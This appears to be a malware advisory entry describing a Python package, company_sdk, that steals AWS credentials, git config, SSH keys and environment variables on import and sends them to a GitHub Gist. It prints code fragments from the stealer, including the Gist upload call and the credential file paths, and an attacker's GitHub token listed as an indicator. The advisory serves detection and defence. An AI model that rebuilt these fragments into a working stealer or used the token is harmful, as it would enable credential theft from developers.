GCVE-110-OSM-2026-11683

During import, package exfiltrates sensitive files, credentials and env variables to a private GitHub Gist. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-company-sdk Reasons (based on the campaign): - exfiltration-env-variables - files-exfiltration - exfiltration-credentials - exfiltration-ssh-keys Judge assessment: This looks like an infostealer package designed to harvest developer secrets on import and exfiltrate them to a private GitHub Gist, matching the attacker model described in the MAL-2026-15827 advisory. The code indicators line up tightly: `sensitive-file-read` targets `~/.aws/credentials` and `~/.aws/config`, `git-config-access` reads `.gitconfig`, and `system-info-collection` plus `yara-anti-analysis` suggest host fingerprinting before theft. The presence of a plaintext GitHub personal access token (`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`) and `urllib.request.Request("https://api.github.com/gists", data=...)` strongly supports credential exfiltration rather than legitimate SDK behavior. A malicious verdict is warranted because the package is consistent with credential theft against developers and CI environments, with the likely goal of remote collection and staging of stolen data. DESTINATION - 1 exfil (githubTokens) (values recorded in verified_iocs) EXFIL - Sensitive File Access in company_sdk.py: ""~/.aws/credentials"" - Python File Upload to Remote in company_sdk.py: "urllib.request.Request("https://api.github.com/gists",data=" - Data Encoding for Exfiltration in company_sdk.py: "base64.b64encode(" - Git Configuration Access in company_sdk.py: ".gitconfig" - Network Request in company_sdk.py: "Request("https:" - System Information Collection in company_sdk.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in company_sdk.py: "subprocess.run(" PAYLOAD FILES company_sdk.py